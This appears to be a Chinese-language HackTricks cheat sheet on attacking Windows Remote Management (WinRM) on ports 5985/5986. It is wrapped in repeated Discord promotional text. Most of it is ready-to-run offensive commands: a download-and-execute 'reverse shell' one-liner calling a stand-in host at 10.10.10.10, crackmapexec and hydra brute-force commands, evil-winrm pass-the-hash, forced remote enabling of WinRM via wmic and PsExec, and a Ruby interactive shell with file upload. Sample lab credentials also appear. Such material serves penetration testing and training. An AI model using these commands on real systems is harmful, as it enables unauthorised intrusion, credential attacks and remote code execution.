hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

14 KiB
Raw Blame History

5985,5986 - 渗透测试 WinRM

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

加入 HackenProof Discord 服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界

最新公告
随时了解最新的赏金计划发布和重要平台更新

加入我们的 Discord,立即与顶尖黑客合作!

WinRM

Windows 远程管理WinRM 是微软强调的一种协议,通过 HTTP(S) 实现对 Windows 系统的远程管理,在此过程中利用 SOAP。它基本上由 WMI 提供支持,呈现为 WMI 操作的基于 HTTP 的接口。

在计算机上存在 WinRM 可以通过 PowerShell 进行简单的远程管理,类似于 SSH 在其他操作系统中的工作方式。要确定 WinRM 是否可用,建议检查是否打开了特定端口:

  • 5985/tcpHTTP
  • 5986/tcpHTTPS

上述列表中的开放端口表示已设置 WinRM因此允许尝试启动远程会话。

启动 WinRM 会话

要为 WinRM 配置 PowerShell需要使用微软的 Enable-PSRemoting 命令,设置计算机以接受远程 PowerShell 命令。通过提升的 PowerShell 访问权限,可以执行以下命令以启用此功能并将任何主机指定为受信任的:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

这种方法涉及向trustedhosts配置添加通配符,这一步骤需要谨慎考虑,因为它可能带来一些影响。还指出,可能需要将攻击者的机器上的网络类型从“公用”更改为“工作”。

此外,可以使用wmic命令远程激活WinRM演示如下

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

这种方法允许远程设置WinRM增强了远程管理Windows机器的灵活性。

测试配置

要验证攻击机器的设置,使用Test-WSMan命令来检查目标是否正确配置了WinRM。通过执行此命令您应该期望收到有关协议版本和wsmid的详细信息表明配置成功。以下是演示已配置目标与未配置目标的预期输出示例

  • 对于已正确配置的目标,输出将类似于:
Test-WSMan <target-ip>

执行命令

要在目标机器上远程执行 ipconfig 并查看其输出,请执行:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

您还可以通过Invoke-Command执行当前PS控制台的命令。假设您本地有一个名为enumeration的函数,并且您想在远程计算机上执行它,您可以这样做:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

执行脚本

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

获取反向Shell

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

获取一个 PS 会话

要获取一个交互式 PowerShell shell请使用 Enter-PSSession

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

会话将在“受害者”内部的新进程wsmprovhost中运行

强制打开 WinRM

要使用 PS 远程和 WinRM但计算机未配置您可以使用以下命令启用

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

保存和恢复会话

这在远程计算机中的语言受限时无法工作

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

在这个会话中,您可以使用 Invoke-Command 加载 PowerShell 脚本。

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

错误

如果您遇到以下错误:

enter-pssession : 连接到远程服务器 10.10.10.175 失败并显示以下错误消息WinRM 客户端无法处理该请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入域,则必须使用 HTTPS 传输,或者必须将目标计算机添加到 TrustedHosts 配置设置中。请使用 winrm.cmd 配置 TrustedHosts。请注意TrustedHosts 列表中的计算机可能未经过身份验证。您可以通过运行以下命令获取有关此信息的更多信息winrm help config。有关更多信息请参阅 about_Remote_Troubleshooting 帮助主题。

请在客户端尝试(信息来自这里

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

加入HackenProof Discord服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客行为的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界

最新公告
了解最新的赏金任务发布和重要平台更新

加入我们的 Discord 并开始与顶尖黑客合作!

在Linux中建立WinRM连接

暴力破解

注意对WinRM进行暴力破解可能会导致用户被阻止。

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

使用 evil-winrm

gem install evil-winrm

阅读其 github 上的文档https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

要使用 evil-winrm 连接到一个 IPv6 地址,在 /etc/hosts 中创建一个条目,将一个域名设置为该 IPv6 地址,并连接到该域名。

使用 evil-winrm 传递哈希

evil-winrm -u <username> -H <Hash> -i <IP>

使用 PS-docker 机器

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

使用一个 Ruby 脚本

从这里提取的代码: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

参考资料

HackTricks 自动命令

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

加入HackenProof Discord 服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客行为的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界

最新公告
随时了解最新的赏金任务发布和重要平台更新

加入我们的 Discord 并开始与顶尖黑客合作吧!

从零开始学习AWS黑客技术成为英雄使用 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式